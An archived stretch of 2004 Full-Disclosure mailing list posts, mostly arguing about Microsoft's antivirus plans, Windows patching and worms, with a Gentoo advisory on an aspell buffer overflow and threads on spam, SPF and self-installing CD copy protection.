> From: full-disclosure-adminlists.netsys.com [mailto:full-disclosure-
> adminlists.netsys.com] On Behalf Of Steffen Schumacher
> Sent: Thursday, June 17, 2004 12:51 PM
> To: joe
> Cc: full-disclosurelists.netsys.com
> Subject: Re: [Full-Disclosure] MS Anti Virus?
>
> On 17.06.2004 11:51:46 +0000, joe wrote:
> > However the worms would be blocked if people had patched their
machine
> or
> > otherwise properly administrated the machines they were responsible
for.
> All
> > of the worms that I think you are probably referring to all had
patches
> well
> > in advance of the worm that impacted it, blaster, slammer, sasser,
etc.
> >
>
> Agreed.
> I'm not saying that MS doesn't provide patches - they do.
> I simply think that the amount of bugs in MS' OS' are to great.
> If you install windows and attempt to either patch it or install
firewall
> afterwards while on the live internet - Your chances of getting
infected
> are quite high. The time it takes to install patches or a firewall may
in
> some situations be longer then it would take for a user to get
infected.
>
> I picture it a bit like a para trooper which has noo means of defense
> until
> he lands and can take cover.
> Other OS' like FreeBSD take a different approach. All non vital
services
> are
> disabled until the user explicitly installs or enables them.
>
> Microsofts products should provide the means to a secure patch before
> risky
> services like DCOM are enabled.
> This should in fact be the case everytime a MS pc starts up.
> Otherwise a pc which has been offline for a period may become infected
> while
> patching.
>
> But ultimately MS have to catch more of their serious bugs before
> releasing
> their software. Consider how many resources that are spent on
patching.
> Could they have been spent revising code in stead?
> I wonder what the average load on the windows update server park is...
>
>
> > Home users never should have been impacted as they should be running
> > firewall software on the internet connections. The fact that they
don't
> > isn't MS's fault, however MS is stepping up with XP SP2 to help out.
On
> top
> > of that they should be patching when necessary.
> >
> > Corporate users shouldn't have been impacted either and were only
> because
> > the IT department didn't keep the machines patched properly. Too
many
> > companies run on a deploy and forget strategy, this doesn't work for
any
> OS
> > be it Windows, *nix, or ios. I am not saying keeping them patched is
an
> easy
> > task, I managed 400 servers in a Fortune 5 company that were
distributed
> > around the world. None of them ran antivirus, none of them got
infected
> by
> > either viruses nor worms, none of them allowed any but only a small
> number
> > of people to have admin rights to do harm to them. When a patch came
out
> > that affected those servers, it was on the machines in a rather
quick
> > fashion, generally within 72 hours depending on testing times.
> >
> >
> > Thinking that there will never be code patches required isn't
realistic.
> It
> > is humans writing the code and even the humans writing the other
Oses
> make
> > mistakes and need to release patches. If the people who manage the
> machines
> > don't take the time to apply the patches then the issue isn't an MS
> issue,
> > it is an admin issue.
> >
> I know. I just wan't fewer. When you sell these amounts of
functionality
> which is reused in multiple future software, then one should *REALLY*
test
> it better, or lower the prices.
>
> >
> >
> > > The *real* IT department could then link to the
> > > executeable and place it on an intranet server
> > > which would be secure.
> >
> > This is an interesting idea but I can't see how one could do it in a
> > feasible manner in a large company that is receiving hundreds of
> thousands
> > of emails from the outside a day. Also you would have to watch for
> internal
> > emails and attachments as well because you could get an infected
machine
> on
> > the inside. Now in large companies you are up to millions of emails.
> >
> > My recommendation to the email manager at the time of the last major
> > outbreak where they started just stipping all ZIPs from emails was
that
> they
> > strip ALL attachments that didn't have a specific internally defined
> > extension on them, that way they knew it was a purposeful thing that
> that
> > attachment was there. The extension would be something specific to a
> company
> > and people involved know that extension. Obviously this is just a
crutch
> to
> > block the issue with well known executable file extensions.
> >
> > The file associations are a tough thing to repeal since they are so
> deeply
> > embedded in how things are done on Windows and people have gotten so
> used to
> > them; it made life easier for a majority of the users and was a
great
> idea
> > at the time. Now however, if you, for instance, removed the DOC
> extension
> > from the file associations half the corporate Windows Admins out
there
> would
> > be at a complete loss as to why Word wasn't working... Those bad
Windows
> > Admins are partially MS's fault, but mostly the fault of companies
who
> look
> > for cheap admins versus good admins.
> >
> > joe
> >
> >
> > -----Original Message-----
> > From: Steffen Schumacher [mailto:sschwheel.dk]
> > Sent: Thursday, June 17, 2004 10:43 AM
> > To: joe
> > Cc: full-disclosurelists.netsys.com
> > Subject: Re: [Full-Disclosure] MS Anti Virus?
> >
> >
> > While I have no numbers to back this up, I do think that worms are
far
> worse
> > when it comes to the extent of which viruses spread, and speed.
> > It is my belief that most worms are based upon MS exploits, rather
then
> > social engineering.
> >
> > It is my belief that we will simply have to wait untill MS cleans up
> their
> > act, which they should be doing, before the world becomes a better
place
> to
> > live.
> >
> > I realize that this doesn't clear situtations like the one above,
but in
> > general such situations can't really be solved unless all mails are
> scanned
> > extensively, and / or the people are educate enough so that they
never
> > should run executeables recieved from mail (its actually quite
simple to
> > me). The *real* IT department could then link to the executeable and
> place
> > it on an intranet server which would be secure.
> >
> > /Steffen
> >
> >
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Re: [ GLSA 200406-12 ] Webmin: Multiple vulnerabilities

Valdis.Kletnieksvt.edu
Date: Thu Jun 17 2004 - 14:21:55 CDT

On Thu, 17 Jun 2004 09:40:20 CDT, Larry <listse-lsd.com> said:
> I have made several attempts to validate the GPG key on this document with
> GnuPG 1.2.4 and have been unsuccessful at importing the key.
>
> Please advise.

Would you go to your mechanic and say "Fix my car, it's broken", or would
you give them more info?

Step 1) Please tell us what the exact error you got when importing, and
what source/keyserver/etc you were using to import.

Step 2) We'll look at that info and then see if we can get you pointed in
the right direction....

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA0e9TcC3lWbTT17ARAig5AKDnU+jW5lkM4j2bdl9AAdyt2SD+fwCfSJWd
dQ0VsbZ1CitilA9bF6ekzp4=
=9cvy
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Steffen Schumacher (sschwheel.dk)
Date: Thu Jun 17 2004 - 13:48:34 CDT

I also agree that MS *is* turning their gigantic boat around with regards
to security. I have yet to see all the new stuff in detail, but what I've
heard, I've liked!

In my line of work (ISP) it will be greatly welcomed to have more OS' less
prone to become infected by worms, as it allows for things such as DDoS to
be quite an easy task to perform.

My only fear, is that it may take some time to get there.. ;o)

/Steffen

On 17.06.2004 13:31:30 +0000, joe wrote:
> I think you will be pleasantly surprised by XP SP2 and XP Reloaded and
> Windows Server R2. They are listening and they are correcting.
>
> On the services running by default front, MS has finally come around that
> corner, if you have installed 2K3 you will note a large reduction in what is
> installed by default, that trend will continue.
>
> In terms of the check for patches prior to starting business, that may be a
> little too intrusive, at least in my opinion. However if the folks are
> running the firewall it shouldn't be an issue. I am especially thinking with
> Reloaded and R2 here.
>
> Also if you can chase down the PPTs from the Spring D.E.C. conference held
> in Washington D.C. you can see some of the future thinking stuff in terms of
> Federation and identity based firewall access to make it easier for home
> users to use firewalls and still being able to do what they want to do.
>
> You will note that the number of bugs, at least security related are going
> down in the newer version. Most of the issues you see are issues that are
> legacy that have "always" been in the product and are being found now and
> removed. I.E. It is more likely you will see a bug/hole that affects NT3/4,
> 2K, XP, and 2K3 versus just 2K3 or XP.
>
> Check out the scope of the various fixes, does the fix go all the way back
> to NT4 or later? Most certainly that is code that hasn't been written
> recently and you are pointing out things from the past that they are working
> on correcting already. It would literally be impossible to go back through
> all of the old code and find all of the bad things. Even for this august
> body of admins, developers, security folks. Look at BSD and Linux, if being
> open to everyone was the answer you wouldn't still be seeing bugs/holes
> discovered in the *nixs that have been there for some time and many
> revisions, you would only supposedly have new bugs in the latest revisions.
>
> One of Microsoft's biggest strengths and issues has been their support of
> legacy apps, systems. They don't want people to break and contrary to
> popular opinion do spend a considerable amount of time and effort working to
> make it so legacy third party stuff doesn't break on the new stuff even if
> the reason for the break is bad coding/processes on the part of the vendor.
> An example would be what they did for simcity back in the day, it used
> memory incorrectly so MS actually put a special check into the allocator to
> protect against that bad use. Note the difference in a company that doesn't
> really do that... Apple. Most old stuff will not run on new Apples but you
> will find many apps that run on MS-DOS that can still be run on the latest
> versions of Windows. I have a couple of programs I wrote in the early 80s
> for machine shops that still run fine today, they haven't seen a compiler
> since 1987 or so. Actually I just saw the other day a great article on this
> but I can't find the link at the moment. The person, however, was
> highlighting/complaining about MS's recent swing away from worrying about
> legacy as much.
>
> I am not really sure where I stand with the break with legacy argument. On
> the plus side it would be nice because they can stop putting in all of the
> overhead to support old junk and maybe get rid of a lot of bugs that have
> always existed in that code that haven't been exposed. Doing that might
> possibly shut up a bunch of the anti-MS camp. However, that would break a
> bunch of things and then other anti-MS people would start whining about that
> and how MS doesn't care about its users so it isn't even close to a win-win
> situation.
>
>
> If you have an XP machine lying about and haven't played with the XP SP2
> Release Candidate, I highly recommend it. If anything, it gives you an idea
> of where MS is currently going. Also check out 2K3.
>
> http://www.microsoft.com/technet/prodtechnol/winxppro/sp2preview.mspx
>
>
>
> joe
>
>
>
> -----Original Message-----
> From: Steffen Schumacher [mailto:sschwheel.dk]
> Sent: Thursday, June 17, 2004 12:51 PM
> To: joe
> Cc: full-disclosurelists.netsys.com
> Subject: Re: [Full-Disclosure] MS Anti Virus?
>
> On 17.06.2004 11:51:46 +0000, joe wrote:
> > However the worms would be blocked if people had patched their machine
> > or otherwise properly administrated the machines they were responsible
> > for. All of the worms that I think you are probably referring to all
> > had patches well in advance of the worm that impacted it, blaster,
> slammer, sasser, etc.
> >
>
> Agreed.
> I'm not saying that MS doesn't provide patches - they do.
> I simply think that the amount of bugs in MS' OS' are to great.
> If you install windows and attempt to either patch it or install firewall
> afterwards while on the live internet - Your chances of getting infected are
> quite high. The time it takes to install patches or a firewall may in some
> situations be longer then it would take for a user to get infected.
>
> I picture it a bit like a para trooper which has noo means of defense until
> he lands and can take cover.
> Other OS' like FreeBSD take a different approach. All non vital services are
> disabled until the user explicitly installs or enables them.
>
> Microsofts products should provide the means to a secure patch before risky
> services like DCOM are enabled.
> This should in fact be the case everytime a MS pc starts up.
> Otherwise a pc which has been offline for a period may become infected while
> patching.
>
> But ultimately MS have to catch more of their serious bugs before releasing
> their software. Consider how many resources that are spent on patching.
> Could they have been spent revising code in stead?
> I wonder what the average load on the windows update server park is...
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [ GLSA 200406-14 ] aspell: Buffer overflow in word-list-compress

From: Thierry Carrez (koongentoo.org)
Date: Thu Jun 17 2004 - 14:39:56 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-14
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: aspell: Buffer overflow in word-list-compress
      Date: June 17, 2004
      Bugs: #53389
        ID: 200406-14

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A bug in the aspell utility word-list-compress can allow an attacker to
execute arbitrary code.

Background
==========

aspell is a popular spell-checker. Dictionaries are available for many
languages.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-text/aspell <= 0.50.5-r1 >= 0.50.5-r2

Description
===========

aspell includes a utility for handling wordlists called
word-list-compress. This utility fails to do proper bounds checking
when processing words longer than 256 bytes.

Impact
======

If an attacker could entice a user to handle a wordlist containing very
long word lengths it could result in the execution of arbitrary code
with the permissions of the user running the program.

Workaround
==========

There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version.

Resolution
==========

All users should upgrade to the latest available version of aspell.

    # emerge sync

    # emerge -pv ">=app-text/aspell-0.50.5-r2"
    # emerge ">=app-text/aspell-0.50.5-r2"

References
==========

  [ 1 ] Nettwerked Advisory
        http://nettwerked.mg2.org/advisories/wlc

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-14.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFA0fOMvcL1obalX08RApMUAKCuhtr4BQ1VO9AjTGjycUWahlt8HwCggGdu
3ydNetVN8OMdPSP7E86Ny3s=
=9wWO
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] MASS spam emails from .tw and . BL domains

From: MIKE TOLBERT (MIKE.TOLBERTLongandfoster.com)
Date: Thu Jun 17 2004 - 14:51:16 CDT

Over the last two days we have received an increase in SPAM from Taiwan,
it has since moved to Latin America.
 The emails contain:
 MAIL From: <steve216.181.18.100> and other names
 Subject: (high bit characters)

 Body of the email contains Base64 encoding.
 All originating from a .tw domain.
 It looks like it has spread origins now to come from Latin America this
after noon.

Mike Tolbert

Long and Foster
Network Security Administrator

(703) 359-1878

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: Ron DuFresne (dufresnewinternet.com)
Date: Thu Jun 17 2004 - 15:24:10 CDT

On Thu, 17 Jun 2004, Dan B. Mann wrote:

>
>
> From my perspective, a place that MS needs to also focus on is the
> patch scanning technology. SMS, WindowsUpdate, MBSA, all can give
> different, confusing results even when scanning the same machine!
> Please, give me a scanner that covers all of your internal products, and
> gives reliable results. Having one tool contradict another ends up
> creating a mess, and it is frightening. It's not fun to try and track
> down a bunch of machines on a weekly basis to really find out whether
> they are patched or not.
>
> Does Microsoft read this list?

I believe that if it's not in VB script, then it's inedible to M$
personnel.

Thanks,

Ron DuFresne
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity. It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
        ***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D. Just don't touch anything.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Ron DuFresne (dufresnewinternet.com)
Date: Thu Jun 17 2004 - 15:20:28 CDT

They did this years back in the 90's anyone remember pctools, and their
offerings? Guess what was bundled under DOS 6.2, might have gone back to
DOS 6.0, but, pctools is no longer in the market...and was the norton
counterpart/competition at the time...so, this would be a reentry...

Thanks,

Ron DuFresne

On Thu, 17 Jun 2004, Gregory A. Gilliss wrote:

> Dan et al:
>
> You are missing the point here. While it matters little *who* is in the A/V
> market, it matters very much when one player is Microsoft, because the M$
> business model (according to them and to the US DOJ) is to enter a market,
> undercut the market, co-opt the market, drive out the competition, and
> move on to the next market (not unlike a virus, as told by Agent Smith).
> So if M$ enters the A/V market and "bundles" their solution with Windows
> whatever, they likely will drive Symantec and McAfee out of the market
> over time by co-opting the A/V subscription market.
>
> The security ramifications of a M$ only A/V marketplace relate to Dan Geer's
> monoculture argument (already well discussed here) and also a conflict of
> interest (since M$ products account for a majority of the A/V infections).
> Can we "trust" an A/V solution from M$ that addresses virus infections of
> M$ products? And is M$ controls both the virus host and the A/V inoculation,
> does that not create a potential area of abuse - no license/upgrade/whatever,
> no A/V subscription/update/whatever?
>
> As Reagan told Gorbachev, "Let me tell you why we do not trust you..."
>
> G
>
> On or about 2004.06.17 15:51:19 +0000, DAN MORRILL (dan_20407msn.com) said:
>
> > You make anti virus software sound like a gun lock on a 9MM.
> >
> > Does it really matter who is in the anti-virus market? If Microsoft goes
> > that way, and they have the best knowledge of what they created, what we
> > can reasonably expect to see in the words of Bill Gates "Innovation, with
> > rich user features, deeply embeded in our software".
> >
> > So, we can have an AV product that does great things, but maybe only 2% of
> > it will be used, and because it is a microsoft product, we can expect
> > patches every month, with known and unknown vulnerabilites from day one.
>
> --
> Gregory A. Gilliss, CISSP E-mail: greggilliss.com
> Computer Security WWW: http://www.gilliss.com/greg/
> PGP Key fingerprint 2F 0B 70 AE 5F 8E 71 7A 2D 86 52 BA B7 83 D9 B4 14 0E 8C A3
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity. It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
        ***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D. Just don't touch anything.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

Valdis.Kletnieksvt.edu
Date: Thu Jun 17 2004 - 15:48:10 CDT

On Fri, 18 Jun 2004 06:30:55 +1200, Nick FitzGerald <nickvirus-l.demon.co.uk> said:
> Valdis.Kletnieksvt.edu wrote:
>
> > Naah.. They'd never use an undocumented API to benefit their product at the
> > expense of the competition, would they? ;)
>
> In this case, no.
>
> Given that a lot of AV technical work is reverse engineering and that
> most of the best AV reversers are not among those MS "acquired" from
> RAV or who have joined MS from other AV developers subsequently (not
> that they haven't got some very good reversers, just there are still an
> awful ot of them elsewhere), I doubt even MS is stupid enough to
> consider trying something like this.

You're forgetting that in this case, technical excellence fall behind marketing
and treachery in importance....

You don't think that the MS reverse engineers couldn't do better, if they had
an API that would tell them the exact footprints associated with a known
vulnerability? :)

Remember that the BugBear virus used an undocumented API to snarf
all the passwords: http://www.extremetech.com/article2/0,3973,582176,00.asp

You really expect us to believe that the M$ AV team won't leverage off the
fact that they could know about that API, and all the others in Windows?

Now consider all the cases where Microsoft has shipped a half-working patch
that closes some cases but not others - could that be a case of "we intentionally
shipped half the patch because we're going to let our AV software in on the secret
sauce so it can install the OTHER half of the patch"? :)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA0gOKcC3lWbTT17ARAsRtAKCg+rXoSOaquC/sGnwWUcMRSY5gFwCbBSkE
M3szWlPKGWa2tuYYp+H2T/c=
=1DL1
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MASS spam emails from .tw and . BL domains

From: Mohit Muthanna (mohit.muthannagmail.com)
Date: Thu Jun 17 2004 - 16:10:49 CDT

hmmm... sounds like spammers rerouting in response to comcast blocking
port 25 on a large number of subscribers. that (i.e., comcast's
actions) _did_ have a significant effect on the amount of spam being
sent out.

and as expected, it's effects were short term... if only more service
providers would put a little more effort into securing / monitoring
their own customer networks.

Mohit.

On Thu, 17 Jun 2004 15:51:16 -0400, MIKE TOLBERT
<mike.tolbertlongandfoster.com> wrote:
>
> Over the last two days we have received an increase in SPAM from Taiwan,
> it has since moved to Latin America.
> The emails contain:
> MAIL From: <steve216.181.18.100> and other names
> Subject: (high bit characters)
>
> Body of the email contains Base64 encoding.
> All originating from a .tw domain.
> It looks like it has spread origins now to come from Latin America this
> after noon.
>
> Mike Tolbert
>
> Long and Foster
> Network Security Administrator
>
> (703) 359-1878
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>

--
Mohit Muthanna [mohit (at) muthanna (uhuh) com]
"There are 10 types of people. Those who understand binary, and those
who don't."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

robcomcast.net
Date: Thu Jun 17 2004 - 16:41:30 CDT

On Thu, Jun 17, 2004 at 11:51:46AM -0400, joe wrote:
> However the worms would be blocked if people had patched their machine or
> otherwise properly administrated the machines they were responsible for. All
> of the worms that I think you are probably referring to all had patches well
> in advance of the worm that impacted it, blaster, slammer, sasser, etc.
>
> Home users never should have been impacted as they should be running
> firewall software on the internet connections. The fact that they don't
> isn't MS's fault, however MS is stepping up with XP SP2 to help out. On top
> of that they should be patching when necessary.
[snip]
> Thinking that there will never be code patches required isn't realistic.
[snip]

Can you explain how it's realistic to expect the millions of home
Windows users out there now to know how to properly administrate
their systems?

If anything that's been discussed here so far is unrealistic, that
must top the list. They're only starting to get the message that
patching is necessary. Very arguably, Microsoft helped create this
culture of technically inept users who view the computer like any
other household appliance. And now what? It plans to force-feed
basic computer security training and earthshaking updates down the
throats of the same users to whom it's been spoon-feeding
computing-through-ignorance babyfood for years and years?

You say "the worms would be blocked if users would..." I say the
worms wouldn't exist in the first place if Microsoft had written
their software securely. It's easy for both of us to say, but which
is easier to actually *do*? Microsoft has little control over what
end users do, but it has complete control over the design, quality,
and configuration of the software it ships. With the resources and
market share they have, they ought to be leading the industry.
Instead, they are the armpit of the industry.

Folks who have been paying attention o'er the years know the same
lies, half-truths, and PR maneuvering they hear today that they
heard back then. "It'll be fixed in the next version", eh? You'll
have to pardon me if I don't shit myself repeatedly in fits of
white-knuckle anticipation of the next version.

---

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Mohit Muthanna (mohit.muthannagmail.com)
Date: Thu Jun 17 2004 - 16:37:11 CDT

> You really expect us to believe that the M$ AV team won't leverage off the
> fact that they could know about that API, and all the others in Windows?

in addition, given that they have the sources to their own OS, i doubt
they really have to do much manual reversing... i'm sure the debugging
tools they have developed over the years would quite easily aid them
in determining precisely what the viruses do and how they do it.

Mohit.

Mohit Muthanna [mohit (at) muthanna (uhuh) com]
"There are 10 types of people. Those who understand binary, and those
who don't."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: Poof (pooffansubber.com)
Date: Thu Jun 17 2004 - 17:03:53 CDT

Gregory:

According to Microsoft they are making their A/V a separate product. So
it'll be sold much like Microsoft Money is.

~

> So if M$ enters the A/V market and "bundles" their solution with Windows
> whatever, they likely will drive Symantec and McAfee out of the market
> over time by co-opting the A/V subscription market.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  • application/x-pkcs7-signature attachment: smime.p7s
 
Re: [Full-Disclosure] MS Anti Virus?

Valdis.Kletnieksvt.edu
Date: Thu Jun 17 2004 - 16:50:47 CDT

On Thu, 17 Jun 2004 17:37:11 EDT, Mohit Muthanna said:
> > You really expect us to believe that the M$ AV team won't leverage off the
> > fact that they could know about that API, and all the others in Windows?
>
> in addition, given that they have the sources to their own OS, i doubt
> they really have to do much manual reversing... i'm sure the debugging
> tools they have developed over the years would quite easily aid them
> in determining precisely what the viruses do and how they do it.

No... you're still not getting it. There's no reverse engineering involved. ;)

Let's pop over to http://www.eeye.com/html/research/upcoming/index.html

Hey look.. http://www.eeye.com/html/research/upcoming/20031007.html is
194 days overdue.. Now, your AV software doesn't have to have *ANY*
reverse engineering for the virus if the operating system and/or AV updates
is whispering in its ear "Anything that does *this* is malware exploiting 20031007".

And at that point, there's no reason to actually ship a *patch*, you just ship
a data file that tells *your* AV that "20031007 exploits look like this" - at which
point you can presumably trap 100% of exploits, and the competition has to
reverse engineer each one... ;)

"Systems protected with M$ AV were 100% safe, while 30% of Brand X users
got whacked while their teams were busy reverse engineering"... Hard to argue
with THAT sales pitch.. ;)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA0hI3cC3lWbTT17ARAhwcAKCV9A/WBwe5+A0OHo8Sq1iOe8WHZACfZnhK
FjOfLVsaNZroRyzD0VLLj8U=
=4KVA
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Spam Solution

From: Alavan (alavanpangeatech.com)
Date: Thu Jun 17 2004 - 17:53:25 CDT

Please correct me if I'm missing something here:

  Microsoft and POBOX.com support Caller ID and SPF to help thwart phishing
and SPAM.

I can see it helping phishing (kind of) as the phishers won't be able to
forge the FROM address. But, that won't stop naive users from entering
their personal information onto the fake site even with some rogue FROM
address. Also, the phishers can just claim to be from a hired consulting
agency and send the SPAM from a hijacked PC on a domain that sounds
somewhat technical (or something like that).

Also, if spammers can't forge, so what? They'll just grab the domain name
from the PC they've hijacked and send away or go back to using the e-mail
client on the machine. Once the spammers change their methodology (which
they do all the time to counter anti-spam efforts), these measures will
have little to no effect.

Plus, many people use a FROM address from one of their other POP accounts
on other domains. For instance, let's say I'm sending an e-mail from home
just before I leave to a business contact and I want them to see my
corporate e-mail address instead. In order to accomplish this after Caller
ID and SPF, all admins will have to get their users to switch to POP before
SMTP to their corporate mail servers to avoid these returned e-mails (when
the FROM address is intentionally forged).

 From what I've seen, most of the SPAM comes from hijacked machines - even
the SPAM from other countries. So, port 25 blocking is good, but not the
be-all end-all as some "users" will want to host their own mail.

It seems to me that if we make all MTA's register somehow (both SMTP and
POST), this would eliminate the hijacked machine as spambot phenomenon. We
already have MX records for SMTP, but a lot of providers use different
machines to receive (via SMTP) and send mail (POST). So, maybe a new DNS
record is introduced for POST. Your machine(s) could do both or not. When
your server goes to accept a message, it looks to see if the IP of the
sending machine is listed in this new DNS record. If not, return a 5XX error.

Didn't I read something somewhere about the possibility of this?

Thanks,

Alavan

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

From: Nils Ketelsen (nilsdruecke.strg-alt-entf.org)
Date: Thu Jun 17 2004 - 19:40:57 CDT

On Thu, Jun 17, 2004 at 03:53:25PM -0700, Alavan wrote:

> Please correct me if I'm missing something here:

You are missing the fact, that it also breaks email forwarding. And if the
From header is analyzed (and that would be necessary for the fishing
prevention, because THAT is what the users get to see and not the envelope
from), then it also breaks all mailing lists.

Nils
--
15:37 <Zugschlus> $FLUCH
15:37 <range> "Möge dir der Weihnachtsmann mit den Kufen seines Schlittens
                über die Füße fahren!"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: Spam Solution

From: Riad S. Wahby (rswjfet.org)
Date: Thu Jun 17 2004 - 21:25:16 CDT

Alavan <alavanpangeatech.com> wrote:
> It seems to me that if we make all MTA's register somehow (both SMTP and
> POST), this would eliminate the hijacked machine as spambot phenomenon. We
> already have MX records for SMTP, but a lot of providers use different
> machines to receive (via SMTP) and send mail (POST). So, maybe a new DNS
> record is introduced for POST. Your machine(s) could do both or not. When
> your server goes to accept a message, it looks to see if the IP of the
> sending machine is listed in this new DNS record. If not, return a 5XX
> error.

Uhhh... isn't this just SPF?

--
Riad S. Wahby
rswjfet.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: Darren Reed (avaloncaligula.anu.edu.au)
Date: Thu Jun 17 2004 - 21:36:12 CDT

In some mail from Paul Schmehl, sie said:
>
> --On Wednesday, June 16, 2004 11:53:23 AM +1000 Darren Reed
> <avaloncaligula.anu.edu.au> wrote:
> >
> > This is a whole new play ground for organised crime, mostly thanks
> > to Microsoft. You've got millions of PC's around the world that
> > are largely, in one way or another, susceptible to computer virii,
> > making them open targets for use as minions. And the perfect seed
> > for spreading them is the databases of email addresses used by
> > spammers...
> >
> If networks simply took responsibility for the traffic that comes from
> them, this problem wouldn't exist. It's completely trivial to find
> infected hosts on a network through passive monitoring. They should then
> be disconnected until they are properly cleaned and secured.
>
> Unless networks begin doing this routinely (including ISPs), legislation
> will be introduced to "solve" the problem, and then we will all be much
> worse off. There's nothing like a law to completely screw things up.

That depends upon whose pockets the legislators responsible live in.

In America, the legislation seems loathe to do anything that impedes
people making money and companies will lobby senators, congressmen to
ensure this stays the same (c.f. comments about Microsoft and others
trying to ensure that the FCC doesn't decide that VoIP people deserve
the same kind of basic service as POTS.)

In other countries, you might find the legislators are more influenced
by organised crime and so you're not likely to get as much assistance
in combatting the root cause of these problems.

But I'm sure that ISPs would argue that being forced to take responsibility
for the traffic that comes from them is an excellent example of legislation
geting in the way and screwing things up.

Darren

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

From: Aditya, ALD [ Aditya Lalit Deshmukh ] (aditya.deshmukhonline.gateway.technolabs.net)
Date: Fri Jun 18 2004 - 03:03:43 CDT

> It seems that Capitol Records has some sort of new copy protection
> system, that automatically, silently, installs "helpful" copy protection
> software on MacOS and Windows as soon as you insert the CD into default

this is why all my systems have autorun turned off - even linux ones

> permission sounds like viral malware behaviour to me. I certainly hope
> the AV companies put signatures into their products for this crap.

please do send a sample to the ad-aware people they will surely deal with this more effectivly
 
> They include some sort of uninstaller buried on there for Windows

does it reeally work or is it just some dummy progressbar the goes from 0 to 100% ?

-aditya

